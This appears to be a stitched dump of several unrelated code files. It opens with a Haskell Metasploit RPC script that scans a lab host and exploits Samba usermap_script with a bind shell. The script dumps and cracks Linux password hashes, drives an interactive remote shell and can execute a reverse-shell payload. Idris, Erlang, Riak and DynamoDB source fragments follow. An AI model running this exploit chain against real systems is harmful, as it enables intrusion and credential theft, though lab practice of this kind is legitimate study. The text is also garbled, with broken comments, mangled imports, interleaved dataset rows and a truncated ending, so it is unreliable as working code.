import MSF.Session as MSession
import MSF.Event(waitJob)
import MSF.Module
import MSF.Job
import System.Environment (getArgs)
import System.Directory (removeFile)
import System.Posix.Files
import System.Process (runCommand, waitForProcess)
import MonadLib
import Control.Concurrent (threadDelay)
import Control . ( when , void , forever )
import System.IO (hSetBuffering,stdout,BufferMode(..))
import qualified Data.Map as Map
import qualified Data.ByteString as B (ByteString, writeFile)
data Command = InteractCmd | CleanCmd | ShellCmd | PayloadCmd | CheckCmd | Test deriving (Eq)
msfUser :: Username
msfUser = "msf"
msfPass :: Password
msfPass = "test"
msfRpcServer :: Con Server
msfRpcServer = Con
{ conHost = Host "10.0.0.2"
, conPort = "55553"
}
" " virtual machine , which is vulnerable to the Samba
scanAndAttackHost :: Host Scannable
scanAndAttackHost = Host "10.0.0.4"
|The example finds the target by IP address and checks the MAC
wrong system . Set this address to the metasploitable VM 's mac
scanAndAttackMAC :: MAC
scanAndAttackMAC = MAC "00:00:00:00:00:00"
scanDontAttackHost :: Host Scannable
scanDontAttackHost = Host "10.0.0.10"
metasploitableModuleType :: ModuleType
metasploitableModuleType = ExploitModuleType
metasploitableModuleName :: ModuleName
metasploitableModuleName = ModuleName "multi/samba/usermap_script"
metasploitablePayload :: Payload
metasploitablePayload = Payload "cmd/unix/bind_perl"
onHostLaunch :: (QuietCxt s) => HandlerRef -> HostInfo -> MSF s ()
onHostLaunch _ref hi = do
let addr = hostAddress hi
sessions <- MSession.session_list
if (addr /= scanAndAttackHost || (hostMAC hi /= scanAndAttackMAC))
then writeLog ("Wrong host, not attacking: "
++ getHost addr ++ " - " ++ (getMAC $ hostMAC hi))
else if null (MSession.sessions_on_host sessions addr)
then do
writeLog ("Attacking: " ++ getHost addr)
loud (launchExploit (attackableHost addr))
writeLog ("Session already open for " ++ getHost addr)
onHostCheck :: QuietCxt s => HandlerRef -> HostInfo -> MSF s ()
onHostCheck _ref hi = do
let addr = hostAddress hi
if (addr == scanAndAttackHost) then do
writeLog ("Found expected host: " ++ getHost addr)
if (hostMAC hi == scanAndAttackMAC)
then do
writeLog ("Expected host has expected MAC: "
++ (getMAC $ hostMAC hi) ++ "\nDone.")
else writeLog ("ERROR!!!!! Expected host has wrong MAC: "
++ (getMAC $ hostMAC hi))
else return ()
|Callback for " onSession " events . When we have a session , run .
onSessionWhoami :: (QuietCxt s)
=> Bool -> HandlerRef -> (SessionId, Session) -> MSF s ()
onSessionWhoami doShell _ref (sid, _) = do
writeLog "Gathering credentials"
loud $ gatherCredentials sid
writeLog "Checking whoami"
_ <- loud $ MSession.session_shell_write sid "whoami\n"
promptWait
delay 1000000
whoamiOut <- MSession.session_shell_read sid Nothing
writeLog ("Output from whoami: " ++ readData whoamiOut)
when doShell $ do
writeLog "dropping into shell"
loud $ shell sid
onCredPrint :: (QuietCxt s) => HandlerRef -> Cred -> MSF s ()
onCredPrint _ref c = writeLog ("Found credential: " ++ (show c))
using ( jtr ) .
onLootCrack :: (QuietCxt s) => HandlerRef -> Loot -> MSF s ()
onLootCrack _ref l = do
writeLog ("Found loot: "++ (show l))
let modTyp = AuxiliaryModuleType
modNm = ModuleName name
name = "analyze/jtr_linux"
matchingJobs <- job_list_name_substring2 name
case matchingJobs of
[] -> do
writeLog ("Job not found, running crack: " ++ name)
_ <- loud $ module_execute modTyp modNm
$ toObject
$ Map.fromList ([] :: [(String, Object)])
return ()
_ -> writeLog ("Job already running: " ++ name)
return ()
launchExploit :: (LoudCxt s) => Host Attackable -> MSF s ()
launchExploit targetHost = do
_ <- module_execute metasploitableModuleType metasploitableModuleName
$ toObject
$ Map.fromList
[ ("RHOST", toObject targetHost)
, ("PAYLOAD", toObject metasploitablePayload)
]
return ()
gatherCredentials :: (LoudCxt s) => SessionId -> MSF s ()
gatherCredentials sessionId = do
let modTyp = PostModuleType
modNm = ModuleName "linux/gather/hashdump"
r <- module_execute modTyp modNm
$ toObject
$ Map.fromList
[ ("SESSION", toObject sessionId)
]
case r of
(ExecJobId j) -> waitJob j
_ -> return ()
cleanup :: (QuietCxt s) => MSF s ()
cleanup = do
writeLog "Cleaning"
_ <- console_read
return ()
shell :: SessionId -> MSF Loud ()
shell sid = do
writeLog "# "
line <- io getLine
if (line == "exit") then return ()
else do
_ <- MSession.session_shell_write sid (line ++ "\n")
output <- MSession.session_shell_read sid Nothing
writeLog (readData output)
shell sid
parseArgs :: IO (Maybe Command)
parseArgs = do
args <- getArgs
case args of
("clean":_) -> return $ Just CleanCmd
("interact": _) -> return $ Just InteractCmd
("shell":_) -> return $ Just ShellCmd
("check":_) -> return $ Just CheckCmd
("payload":_) -> return $ Just PayloadCmd
("test":_) -> return $ Just Test
_ -> return Nothing
promptWait :: MSF s ()
promptWait = io $ do
command <- parseArgs
when (command == Just InteractCmd)
(putStr "Hit enter." >> getLine >> return ())
printConsole :: (QuietCxt s) => MSF s ()
printConsole = do
s <- console_read
case s of
Just cr -> writeLog $ consoleReadData cr
Nothing -> writeLog "Couldn't read console"
delay 2000000
printConsole
writing it to a file on the client ( ) side , and executing
payloadCmd :: SilentCxt s => MSF s ()
payloadCmd = do
let port = "4444"
(ExecPayload pl) <- module_execute_payload metasploitablePayload
$ toObject
$ Map.fromList [("LPORT", port)]
io $ do
putStr ("This command opens a reverse shell on local port: "
++ port ++ ". Type YES to proceed: ")
maybeYes <- getLine
if maybeYes == "YES"
then executeLocalPayload pl
else putStrLn "Not executing."
executeLocalPayload :: B.ByteString -> IO ()
executeLocalPayload pl = do
let file = "./out"
B.writeFile file pl
setFileMode file (foldl1 unionFileModes
[ownerExecuteMode, ownerReadMode, ownerWriteMode])
void (runCommand file >>= waitForProcess)
removeFile file
writeLog :: String -> MSF s ()
writeLog = io . putStrLn
delay :: Int -> MSF s ()
delay = io . threadDelay
setup :: Bool -> MSF Quiet ()
setup doShell = do
void (onHost onHostLaunch)
void (onSession (onSessionWhoami doShell))
void (onCred onCredPrint)
void (onLoot onLootCrack)
void (spawn printConsole)
writeLog "Checking if host is up using quiet scan"
_ <- db_nmap pingScan (single scanAndAttackHost)
promptWait
writeLog "Getting open ports and OS fingerprints"
_ <- loud (db_nmap serviceVersionScan (single scanAndAttackHost))
promptWait
writeLog "Scanning non-attackable host"
_ <- loud (db_nmap serviceVersionScan (single scanDontAttackHost))
forever (delay 1000000)
runTest :: MSF Quiet ()
runTest = do
testAuth
testAuth :: MSF Quiet ()
testAuth = do
_ <- getTokList
writeLog "Trying to log in again with same user/pass..."
res <- auth_login msfUser msfPass
tok <- case res of
Right tok -> writeLog "Login successful" >> return tok
Left msg -> error ("Login failed: " ++ msg)
_ <- getTokList
writeLog "Trying to remove temporary auth token..."
_ <- auth_token_remove tok
writeLog "Removal successful"
_ <- getTokList
writeLog "Generating new token..."
genTok <- auth_token_generate
writeLog ("Got token: " ++ show genTok)
_ <- getTokList
writeLog "Finished."
where
getTokList :: MSF Quiet [Token]
getTokList = do
toks <- auth_token_list
writeLog ("Current tokens:\n" ++ show toks)
return toks
to see that expected host is online & such
check :: MSF Loud ()
check = do
writeLog "MSF server is online. Looking for target host."
void (onHost onHostCheck)
_ <- db_nmap serviceVersionScan (single scanAndAttackHost)
forever (delay 1000000)
commands :: Maybe Command -> MSF Quiet ()
commands command = do
writeLog "Login successful."
case command of
Just CleanCmd -> cleanup
Just CheckCmd -> loud check
Just PayloadCmd -> payloadCmd
Just ShellCmd -> setup True
Just InteractCmd -> setup False
Just Test -> runTest
Nothing -> setup False
main :: IO ()
main = do
hSetBuffering stdout NoBuffering
c <- parseArgs
login msfRpcServer msfUser msfPass (commands c)
|
096ac97dd6803a268b47fa18005309c5a399a3a8fee861777dbb08c767dfe8c0 | mietek/idris-bash | Utils.hs | module IRTS.Codegen.Utils where
import Data.IntMap.Strict (IntMap)
import qualified Data.IntMap.Strict as M
import Data.List (nub, sort)
import IRTS.Lang (LVar(..))
import IRTS.Simplified (SAlt(..), SDecl(..), SExp(..))
import Idris.Core.TT (Name)
type TagMap = IntMap Int
findTags :: [(Name, SDecl)] -> TagMap
findTags fs = M.fromAscList (zip ts [0..])
where
ts = nub (sort (concatMap ftFun fs))
ftFun :: (Name, SDecl) -> [Int]
ftFun (_, SFun _ _ _ e) = ftExp e
ftExp :: SExp -> [Int]
ftExp (SLet (Loc _) e1 e2) = ftExp e1 ++ ftExp e2
ftExp (SCase _ _ cs) = concatMap ftCase cs
ftExp (SChkCase _ cs) = concatMap ftCase cs
ftExp (SCon _ t _ []) = [t]
ftExp _ = []
ftCase :: SAlt -> [Int]
ftCase (SDefaultCase e) = ftExp e
ftCase (SConstCase _ e) = ftExp e
ftCase (SConCase _ _ _ _ e) = ftExp e
countLocs :: SDecl -> Int
countLocs (SFun _ _ _ e) = clExp e
clExp :: SExp -> Int
clExp (SV (Loc i)) = i + 1
clExp (SLet (Loc i) e1 e2) = max (i + 1) (max (clExp e1) (clExp e2))
clExp (SCase _ _ cs) = maximum (map clCase cs)
clExp (SChkCase _ cs) = maximum (map clCase cs)
clExp _ = 0
clCase :: SAlt -> Int
clCase (SDefaultCase e) = clExp e
clCase (SConstCase _ e) = clExp e
clCase (SConCase _ _ _ [] e) = clExp e
clCase (SConCase i _ _ ns e) = max (i + length ns) (clExp e)
| null | https://raw.githubusercontent.com/mietek/idris-bash/2f803ff124433b059eea8286f3ac2a09c33e94fd/src/IRTS/Codegen/Utils.hs | haskell | module IRTS.Codegen.Utils where
import Data.IntMap.Strict (IntMap)
import qualified Data.IntMap.Strict as M
import Data.List (nub, sort)
import IRTS.Lang (LVar(..))
import IRTS.Simplified (SAlt(..), SDecl(..), SExp(..))
import Idris.Core.TT (Name)
type TagMap = IntMap Int
findTags :: [(Name, SDecl)] -> TagMap
findTags fs = M.fromAscList (zip ts [0..])
where
ts = nub (sort (concatMap ftFun fs))
ftFun :: (Name, SDecl) -> [Int]
ftFun (_, SFun _ _ _ e) = ftExp e
ftExp :: SExp -> [Int]
ftExp (SLet (Loc _) e1 e2) = ftExp e1 ++ ftExp e2
ftExp (SCase _ _ cs) = concatMap ftCase cs
ftExp (SChkCase _ cs) = concatMap ftCase cs
ftExp (SCon _ t _ []) = [t]
ftExp _ = []
ftCase :: SAlt -> [Int]
ftCase (SDefaultCase e) = ftExp e
ftCase (SConstCase _ e) = ftExp e
ftCase (SConCase _ _ _ _ e) = ftExp e
countLocs :: SDecl -> Int
countLocs (SFun _ _ _ e) = clExp e
clExp :: SExp -> Int
clExp (SV (Loc i)) = i + 1
clExp (SLet (Loc i) e1 e2) = max (i + 1) (max (clExp e1) (clExp e2))
clExp (SCase _ _ cs) = maximum (map clCase cs)
clExp (SChkCase _ cs) = maximum (map clCase cs)
clExp _ = 0
clCase :: SAlt -> Int
clCase (SDefaultCase e) = clExp e
clCase (SConstCase _ e) = clExp e
clCase (SConCase _ _ _ [] e) = clExp e
clCase (SConCase i _ _ ns e) = max (i + length ns) (clExp e)
| |
7eb0f552dbe452a2a261cc6495b415c927ac903ba3636492b7c35f75ca1b33ee | spawnfest/eep49ers | wxGridCellNumberEditor.erl | %%
%% %CopyrightBegin%
%%
Copyright Ericsson AB 2009 - 2020 . All Rights Reserved .
%%
Licensed under the Apache License , Version 2.0 ( the " License " ) ;
%% you may not use this file except in compliance with the License.
%% You may obtain a copy of the License at
%%
%% -2.0
%%
%% Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an " AS IS " BASIS ,
%% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
%% See the License for the specific language governing permissions and
%% limitations under the License.
%%
%% %CopyrightEnd%
%% This file is generated DO NOT EDIT
-module(wxGridCellNumberEditor).
-include("wxe.hrl").
-export([destroy/1,getValue/1,new/0,new/1,setParameters/2]).
%% inherited exports
-export([handleReturn/2,isCreated/1,parent_class/1,reset/1,setSize/2,show/2,
show/3,startingClick/1,startingKey/2]).
-type wxGridCellNumberEditor() :: wx:wx_object().
-export_type([wxGridCellNumberEditor/0]).
%% @hidden
parent_class(wxGridCellTextEditor) -> true;
parent_class(wxGridCellEditor) -> true;
parent_class(_Class) -> erlang:error({badtype, ?MODULE}).
%% @equiv new([])
-spec new() -> wxGridCellNumberEditor().
new() ->
new([]).
%% @doc See <a href="#wxgridcellnumbereditorwxgridcellnumbereditor">external documentation</a>.
-spec new([Option]) -> wxGridCellNumberEditor() when
Option :: {'min', integer()}
| {'max', integer()}.
new(Options)
when is_list(Options) ->
MOpts = fun({min, _min} = Arg) -> Arg;
({max, _max} = Arg) -> Arg;
(BadOpt) -> erlang:error({badoption, BadOpt}) end,
Opts = lists:map(MOpts, Options),
wxe_util:queue_cmd(Opts,?get_env(),?wxGridCellNumberEditor_new),
wxe_util:rec(?wxGridCellNumberEditor_new).
%% @doc See <a href="#wxgridcellnumbereditorgetvalue">external documentation</a>.
-spec getValue(This) -> unicode:charlist() when
This::wxGridCellNumberEditor().
getValue(#wx_ref{type=ThisT}=This) ->
?CLASS(ThisT,wxGridCellNumberEditor),
wxe_util:queue_cmd(This,?get_env(),?wxGridCellNumberEditor_GetValue),
wxe_util:rec(?wxGridCellNumberEditor_GetValue).
%% @doc See <a href="#wxgridcellnumbereditorsetparameters">external documentation</a>.
-spec setParameters(This, Params) -> 'ok' when
This::wxGridCellNumberEditor(), Params::unicode:chardata().
setParameters(#wx_ref{type=ThisT}=This,Params)
when ?is_chardata(Params) ->
?CLASS(ThisT,wxGridCellNumberEditor),
Params_UC = unicode:characters_to_binary(Params),
wxe_util:queue_cmd(This,Params_UC,?get_env(),?wxGridCellNumberEditor_SetParameters).
%% @doc Destroys this object, do not use object again
-spec destroy(This::wxGridCellNumberEditor()) -> 'ok'.
destroy(Obj=#wx_ref{type=Type}) ->
?CLASS(Type,wxGridCellNumberEditor),
wxe_util:queue_cmd(Obj, ?get_env(), ?wxGridCellNumberEditor_destroy),
ok.
From wxGridCellTextEditor
From wxGridCellEditor
%% @hidden
handleReturn(This,Event) -> wxGridCellEditor:handleReturn(This,Event).
%% @hidden
startingClick(This) -> wxGridCellEditor:startingClick(This).
%% @hidden
startingKey(This,Event) -> wxGridCellEditor:startingKey(This,Event).
%% @hidden
reset(This) -> wxGridCellEditor:reset(This).
%% @hidden
show(This,Show, Options) -> wxGridCellEditor:show(This,Show, Options).
%% @hidden
show(This,Show) -> wxGridCellEditor:show(This,Show).
%% @hidden
setSize(This,Rect) -> wxGridCellEditor:setSize(This,Rect).
%% @hidden
isCreated(This) -> wxGridCellEditor:isCreated(This).
| null | https://raw.githubusercontent.com/spawnfest/eep49ers/d1020fd625a0bbda8ab01caf0e1738eb1cf74886/lib/wx/src/gen/wxGridCellNumberEditor.erl | erlang |
%CopyrightBegin%
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
-2.0
Unless required by applicable law or agreed to in writing, software
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
%CopyrightEnd%
This file is generated DO NOT EDIT
inherited exports
@hidden
@equiv new([])
@doc See <a href="#wxgridcellnumbereditorwxgridcellnumbereditor">external documentation</a>.
@doc See <a href="#wxgridcellnumbereditorgetvalue">external documentation</a>.
@doc See <a href="#wxgridcellnumbereditorsetparameters">external documentation</a>.
@doc Destroys this object, do not use object again
@hidden
@hidden
@hidden
@hidden
@hidden
@hidden
@hidden
@hidden | Copyright Ericsson AB 2009 - 2020 . All Rights Reserved .
Licensed under the Apache License , Version 2.0 ( the " License " ) ;
distributed under the License is distributed on an " AS IS " BASIS ,
-module(wxGridCellNumberEditor).
-include("wxe.hrl").
-export([destroy/1,getValue/1,new/0,new/1,setParameters/2]).
-export([handleReturn/2,isCreated/1,parent_class/1,reset/1,setSize/2,show/2,
show/3,startingClick/1,startingKey/2]).
-type wxGridCellNumberEditor() :: wx:wx_object().
-export_type([wxGridCellNumberEditor/0]).
parent_class(wxGridCellTextEditor) -> true;
parent_class(wxGridCellEditor) -> true;
parent_class(_Class) -> erlang:error({badtype, ?MODULE}).
-spec new() -> wxGridCellNumberEditor().
new() ->
new([]).
-spec new([Option]) -> wxGridCellNumberEditor() when
Option :: {'min', integer()}
| {'max', integer()}.
new(Options)
when is_list(Options) ->
MOpts = fun({min, _min} = Arg) -> Arg;
({max, _max} = Arg) -> Arg;
(BadOpt) -> erlang:error({badoption, BadOpt}) end,
Opts = lists:map(MOpts, Options),
wxe_util:queue_cmd(Opts,?get_env(),?wxGridCellNumberEditor_new),
wxe_util:rec(?wxGridCellNumberEditor_new).
-spec getValue(This) -> unicode:charlist() when
This::wxGridCellNumberEditor().
getValue(#wx_ref{type=ThisT}=This) ->
?CLASS(ThisT,wxGridCellNumberEditor),
wxe_util:queue_cmd(This,?get_env(),?wxGridCellNumberEditor_GetValue),
wxe_util:rec(?wxGridCellNumberEditor_GetValue).
-spec setParameters(This, Params) -> 'ok' when
This::wxGridCellNumberEditor(), Params::unicode:chardata().
setParameters(#wx_ref{type=ThisT}=This,Params)
when ?is_chardata(Params) ->
?CLASS(ThisT,wxGridCellNumberEditor),
Params_UC = unicode:characters_to_binary(Params),
wxe_util:queue_cmd(This,Params_UC,?get_env(),?wxGridCellNumberEditor_SetParameters).
-spec destroy(This::wxGridCellNumberEditor()) -> 'ok'.
destroy(Obj=#wx_ref{type=Type}) ->
?CLASS(Type,wxGridCellNumberEditor),
wxe_util:queue_cmd(Obj, ?get_env(), ?wxGridCellNumberEditor_destroy),
ok.
From wxGridCellTextEditor
From wxGridCellEditor
handleReturn(This,Event) -> wxGridCellEditor:handleReturn(This,Event).
startingClick(This) -> wxGridCellEditor:startingClick(This).
startingKey(This,Event) -> wxGridCellEditor:startingKey(This,Event).
reset(This) -> wxGridCellEditor:reset(This).
show(This,Show, Options) -> wxGridCellEditor:show(This,Show, Options).
show(This,Show) -> wxGridCellEditor:show(This,Show).
setSize(This,Rect) -> wxGridCellEditor:setSize(This,Rect).
isCreated(This) -> wxGridCellEditor:isCreated(This).
|
b1ce2d52a54b52983c161a54d8014aec2e160cbeaff7bd89cf34197bf7e3d394 | basho/systest | cluster.erl | %% -------------------------------------------------------------------
%%
%% cluster.erl - cluster helpers
%%
Copyright ( c ) 2007 - 2011 Basho Technologies , Inc. All Rights Reserved .
%%
This file is provided to you under the Apache License ,
%% Version 2.0 (the "License"); you may not use this file
except in compliance with the License . You may obtain
%% a copy of the License at
%%
%% -2.0
%%
%% Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
" AS IS " BASIS , WITHOUT WARRANTIES OR CONDITIONS OF ANY
%% KIND, either express or implied. See the License for the
%% specific language governing permissions and limitations
%% under the License.
%%
%% -------------------------------------------------------------------
-module(cluster).
-compile([export_all]).
%% Cluster is stable if
%% - all nodes think all other nodes are up
%% - all nodes have the same ring
%% - all nodes only have vnodes running for owned partitions.
is_stable(Node) ->
%% Get the list of nodes in the cluster
R = get_ring(Node),
Nodes = all_members(Node, R),
%% Ask each node for their rings
Rings = orddict:from_list([{N,get_ring(N)} || N <- Nodes]),
{N1,R1}=hd(Rings),
case rings_match(hash_ring(R1), tl(Rings)) of
{false, N2} ->
{rings_differ, N1, N2};
true ->
%% Work out which vnodes are running and which partitions they claim
F = fun({N,_R}, Acc) ->
{_Pri, Sec, Stopped} = partitions(N),
case Sec of
[] ->
[];
_ ->
[{waiting_to_handoff, N}]
end ++
case Stopped of
[] ->
[];
_ ->
[{stopped, N}]
end ++
Acc
end,
case lists:foldl(F, [], Rings) of
[] ->
true;
Issues ->
{false, Issues}
end
end.
%% Return a list of active primary partitions, active secondary partitions (to be handed off)
%% and stopped partitions that should be started
partitions(Node) ->
R = get_ring(Node),
Owners = all_owners(Node, R),
Owned = ordsets:from_list(owned_partitions(Owners, Node)),
Active = ordsets:from_list(active_partitions(Node)),
Stopped = ordsets:subtract(Owned, Active),
Secondary = ordsets:subtract(Active, Owned),
Primary = ordsets:subtract(Active, Secondary),
{Primary, Secondary, Stopped}.
owned_partitions(Owners, Node) ->
[P || {P, Owner} <- Owners, Owner =:= Node].
all_owners(Node, R) ->
rpc:call(Node, riak_core_ring, all_owners, [R]).
all_members(Node, R) ->
rpc:call(Node, riak_core_ring, all_members, [R]).
get_ring(Node) ->
{ok, R} = rpc:call(Node, riak_core_ring_manager, get_my_ring, []),
R.
%% Get a list of active partition numbers - regardless of vnode type
active_partitions(Node) ->
lists:foldl(fun({_,P}, Ps) ->
ordsets:add_element(P, Ps)
end, [], running_vnodes(Node)).
%% Get a list of running vnodes for a node
running_vnodes(Node) ->
Pids = vnode_pids(Node),
[rpc:call(Node, riak_core_vnode, get_mod_index, [Pid]) || Pid <- Pids].
%% Get a list of vnode pids for a node
vnode_pids(Node) ->
[Pid || {_,Pid,_,_} <- supervisor:which_children({riak_core_vnode_sup, Node})].
%% Produce a SHA-1 of the 'chash' portion of the ring
hash_ring(R) ->
crypto:sha(term_to_binary(element(4,R))).
%% Check if all rings match given {N1,P1} and a list of [{N,P}] to check
rings_match(_, []) ->
true;
rings_match(R1hash, [{N2, R2} | Rest]) ->
case hash_ring(R2) of
R1hash ->
rings_match(R1hash, Rest);
_ ->
{false, N2}
end.
| null | https://raw.githubusercontent.com/basho/systest/f14e1bffb99f79112c67caa5280684af5b0be762/cluster.erl | erlang | -------------------------------------------------------------------
cluster.erl - cluster helpers
Version 2.0 (the "License"); you may not use this file
a copy of the License at
-2.0
Unless required by applicable law or agreed to in writing,
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
-------------------------------------------------------------------
Cluster is stable if
- all nodes think all other nodes are up
- all nodes have the same ring
- all nodes only have vnodes running for owned partitions.
Get the list of nodes in the cluster
Ask each node for their rings
Work out which vnodes are running and which partitions they claim
Return a list of active primary partitions, active secondary partitions (to be handed off)
and stopped partitions that should be started
Get a list of active partition numbers - regardless of vnode type
Get a list of running vnodes for a node
Get a list of vnode pids for a node
Produce a SHA-1 of the 'chash' portion of the ring
Check if all rings match given {N1,P1} and a list of [{N,P}] to check | Copyright ( c ) 2007 - 2011 Basho Technologies , Inc. All Rights Reserved .
This file is provided to you under the Apache License ,
except in compliance with the License . You may obtain
software distributed under the License is distributed on an
" AS IS " BASIS , WITHOUT WARRANTIES OR CONDITIONS OF ANY
-module(cluster).
-compile([export_all]).
is_stable(Node) ->
R = get_ring(Node),
Nodes = all_members(Node, R),
Rings = orddict:from_list([{N,get_ring(N)} || N <- Nodes]),
{N1,R1}=hd(Rings),
case rings_match(hash_ring(R1), tl(Rings)) of
{false, N2} ->
{rings_differ, N1, N2};
true ->
F = fun({N,_R}, Acc) ->
{_Pri, Sec, Stopped} = partitions(N),
case Sec of
[] ->
[];
_ ->
[{waiting_to_handoff, N}]
end ++
case Stopped of
[] ->
[];
_ ->
[{stopped, N}]
end ++
Acc
end,
case lists:foldl(F, [], Rings) of
[] ->
true;
Issues ->
{false, Issues}
end
end.
partitions(Node) ->
R = get_ring(Node),
Owners = all_owners(Node, R),
Owned = ordsets:from_list(owned_partitions(Owners, Node)),
Active = ordsets:from_list(active_partitions(Node)),
Stopped = ordsets:subtract(Owned, Active),
Secondary = ordsets:subtract(Active, Owned),
Primary = ordsets:subtract(Active, Secondary),
{Primary, Secondary, Stopped}.
owned_partitions(Owners, Node) ->
[P || {P, Owner} <- Owners, Owner =:= Node].
all_owners(Node, R) ->
rpc:call(Node, riak_core_ring, all_owners, [R]).
all_members(Node, R) ->
rpc:call(Node, riak_core_ring, all_members, [R]).
get_ring(Node) ->
{ok, R} = rpc:call(Node, riak_core_ring_manager, get_my_ring, []),
R.
active_partitions(Node) ->
lists:foldl(fun({_,P}, Ps) ->
ordsets:add_element(P, Ps)
end, [], running_vnodes(Node)).
running_vnodes(Node) ->
Pids = vnode_pids(Node),
[rpc:call(Node, riak_core_vnode, get_mod_index, [Pid]) || Pid <- Pids].
vnode_pids(Node) ->
[Pid || {_,Pid,_,_} <- supervisor:which_children({riak_core_vnode_sup, Node})].
hash_ring(R) ->
crypto:sha(term_to_binary(element(4,R))).
rings_match(_, []) ->
true;
rings_match(R1hash, [{N2, R2} | Rest]) ->
case hash_ring(R2) of
R1hash ->
rings_match(R1hash, Rest);
_ ->
{false, N2}
end.
|
8a894c6bd2ff08659611382b6d8ce52b74621768b090fc096751abc2fef4dba1 | ondrap/dynamodb-simple | Types.hs | {-# LANGUAGE CPP #-}
#if __GLASGOW_HASKELL__ >= 800
{-# OPTIONS_GHC -Wno-redundant-constraints #-}
#endif
{-# LANGUAGE DataKinds #-}
{-# LANGUAGE DefaultSignatures #-}
{-# LANGUAGE FlexibleContexts #-}
# LANGUAGE FlexibleInstances #
# LANGUAGE FunctionalDependencies #
{-# LANGUAGE GADTs #-}
# LANGUAGE KindSignatures #
# LANGUAGE MultiParamTypeClasses #
{-# LANGUAGE OverloadedStrings #-}
# LANGUAGE PatternSynonyms #
{-# LANGUAGE ScopedTypeVariables #-}
# LANGUAGE TupleSections #
# LANGUAGE UndecidableInstances #
{-# LANGUAGE ViewPatterns #-}
-- |
module Database.DynamoDB.Types (
-- * Exceptions
DynamoException(..)
-- * Marshalling
, DynamoEncodable(..)
, DynamoScalar(..)
, ScalarValue(..)
, IsText(..), IsNumber
-- * Query datatype
, RangeOper(..)
-- * Utility functions
, dType
, dScalarEncode
) where
import Control.Exception (Exception)
import Control.Lens ((.~), (^.))
import qualified Data.Aeson as AE
import Data.Bifunctor (first)
import qualified Data.ByteString as BS
import Data.ByteString.Lazy (toStrict)
import Data.Double.Conversion.Text (toShortest)
import Data.Foldable (toList)
import Data.Function ((&))
import Data.Hashable (Hashable)
import Data.HashMap.Strict (HashMap)
import qualified Data.HashMap.Strict as HMap
import Data.Maybe (mapMaybe)
import Data.Monoid ((<>))
import Data.Proxy
import Data.UUID.Types (UUID)
import qualified Data.UUID.Types as UUID
import Data.Scientific (Scientific, floatingOrInteger,
fromFloatDigits, toBoundedInteger,
toRealFloat)
import qualified Data.Set as Set
import Data.Tagged (Tagged (..), unTagged)
import qualified Data.Text as T
import Data.Text.Encoding (decodeUtf8, encodeUtf8)
import qualified Data.Vector as V
import Network.AWS.DynamoDB.Types (AttributeValue,
ScalarAttributeType,
attributeValue)
import qualified Network.AWS.DynamoDB.Types as D
import Text.Read (readMaybe)
import Data.Int (Int16, Int32, Int64)
-- | Exceptions thrown by some dynamodb-simple actions.
data DynamoException = DynamoException T.Text
deriving (Show)
instance Exception DynamoException
| Datatype for encoding scalar values
data ScalarValue (v :: D.ScalarAttributeType) where
ScS :: !T.Text -> ScalarValue 'D.S
ScN :: !Scientific -> ScalarValue 'D.N
ScB :: !BS.ByteString -> ScalarValue 'D.B
class ScalarAuto (v :: D.ScalarAttributeType) where
dTypeV :: Proxy v -> ScalarAttributeType
dSetEncodeV :: [ScalarValue v] -> AttributeValue
dSetDecodeV :: AttributeValue -> Maybe [ScalarValue v]
instance ScalarAuto 'D.S where
dTypeV _ = D.S
dSetEncodeV lst = attributeValue & D.avSS .~ map (\(ScS txt) -> txt) lst
dSetDecodeV attr = Just $ map ScS $ attr ^. D.avSS
instance ScalarAuto 'D.N where
dTypeV _ = D.N
dSetEncodeV lst = attributeValue & D.avNS .~ map (\(ScN num) -> decodeUtf8 (toStrict $ AE.encode num)) lst
dSetDecodeV attr = traverse (\n -> ScN <$> AE.decodeStrict (encodeUtf8 n)) (attr ^. D.avSS)
instance ScalarAuto 'D.B where
dTypeV _ = D.B
dSetEncodeV lst = attributeValue & D.avBS .~ map (\(ScB txt) -> txt) lst
dSetDecodeV attr = Just $ map ScB $ attr ^. D.avBS
dType :: forall a v. DynamoScalar v a => Proxy a -> ScalarAttributeType
dType _ = dTypeV (Proxy :: Proxy v)
dScalarEncode :: DynamoScalar v a => a -> AttributeValue
dScalarEncode a =
case scalarEncode a of
ScS txt -> attributeValue & D.avS .~ Just txt
ScN num -> attributeValue & D.avN .~ Just (decodeUtf8 (toStrict $ AE.encode num))
ScB bs -> attributeValue & D.avB .~ Just bs
dSetEncode :: DynamoScalar v a => Set.Set a -> AttributeValue
dSetEncode vset = dSetEncodeV $ map scalarEncode $ toList vset
dSetDecode :: (Ord a, DynamoScalar v a) => AttributeValue -> Maybe (Set.Set a)
dSetDecode attr = dSetDecodeV attr >>= traverse scalarDecode >>= pure . Set.fromList
-- | Typeclass signifying that this is a scalar attribute and can be used as a hash/sort key.
--
> instance DynamoScalar Network . AWS.DynamoDB.Types . S T.Text where
-- > scalarEncode = ScS
> scalarDecode ( txt ) = Just txt
class ScalarAuto v => DynamoScalar (v :: D.ScalarAttributeType) a | a -> v where
-- | Scalars must have total encoding function
scalarEncode :: a -> ScalarValue v
default scalarEncode :: (Show a, Read a, v ~ 'D.S) => a -> ScalarValue v
scalarEncode = ScS . T.pack . show
scalarDecode :: ScalarValue v -> Maybe a
default scalarDecode :: (Show a, Read a, v ~ 'D.S) => ScalarValue v -> Maybe a
scalarDecode (ScS txt) = readMaybe (T.unpack txt)
instance DynamoScalar 'D.N Integer where
scalarEncode = ScN . fromIntegral
scalarDecode (ScN num) =
case floatingOrInteger num :: Either Double Integer of
Right x -> Just x
Left _ -> Nothing
instance DynamoScalar 'D.N Int where
scalarEncode = ScN . fromIntegral
scalarDecode (ScN num) = toBoundedInteger num
instance DynamoScalar 'D.N Int16 where
scalarEncode = ScN . fromIntegral
scalarDecode (ScN num) = toBoundedInteger num
instance DynamoScalar 'D.N Int32 where
scalarEncode = ScN . fromIntegral
scalarDecode (ScN num) = toBoundedInteger num
instance DynamoScalar 'D.N Int64 where
scalarEncode = ScN . fromIntegral
scalarDecode (ScN num) = toBoundedInteger num
instance DynamoScalar 'D.N Word where
scalarEncode = ScN . fromIntegral
scalarDecode (ScN num) = toBoundedInteger num
-- | Helper for tagged values
instance {-# OVERLAPPABLE #-} DynamoScalar v a => DynamoScalar v (Tagged x a) where
